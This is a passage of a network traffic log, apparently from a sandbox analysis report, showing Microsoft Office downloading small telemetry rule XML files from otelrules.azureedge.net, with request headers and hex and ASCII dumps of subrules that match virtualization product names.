2024-11-14 19:43:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:35 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 57b0571f-501e-00a3-7dfb-2cc0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194335Z-16547b76f7fht2hfhC1DFWbngg00000000rg0000000033z8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:35 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:36 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 96a6b3aa-501e-008f-53a1-349054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194335Z-r178fb8d7652w4wkhC1DFW0d7w00000002yg00000000ee94 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:36 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:35 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:36 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:36 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: a5c21d46-701e-0050-7ca1-346767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194336Z-1749fc9bdbdhnf7rhC1DFWgd0n00000002y000000000n6vz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 19:43:36 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:36 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:36 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 1572e0e4-b01e-003e-1a0c-2d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194336Z-16547b76f7ftdm8dhC1DFWs13g0000000kxg000000012san x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:36 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:36 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:36 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d2524e31-e01e-0052-0da7-34d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194336Z-r178fb8d765hbcjvhC1DFW50zc000000031g00000000ab02 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 19:43:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:36 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:36 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 44f8bb6f-a01e-001e-7911-3649ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194336Z-1749fc9bdbd4dqj6hC1DFWr4n400000002y000000000rkcn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:36 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:36 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:36 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 2d5e3293-901e-002a-4f00-2d7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194336Z-16547b76f7fcjqqhhC1DFWrrrc0000000m2000000000gaxz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:37 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:36 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:37 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: cf25fe23-201e-0000-80af-36a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194337Z-16547b76f7fnlcwwhC1DFWz6gw0000000m3000000000x175 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:37 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:37 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:37 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:37 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 818d7a8e-001e-005a-6101-36c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194337Z-1749fc9bdbdr6qwphC1DFW0nv400000002zg00000000s585 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 19:43:37 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:37 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:37 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ad594543-c01e-0082-44a1-34af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194337Z-r178fb8d765dbpv9hC1DFWma7000000001ag00000000cwhe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:37 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:37 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:37 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: da73b1ea-a01e-0070-5573-35573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194337Z-16547b76f7fxdzxghC1DFWmf7n0000000m6000000000g4mg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:37 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49926	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:37 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
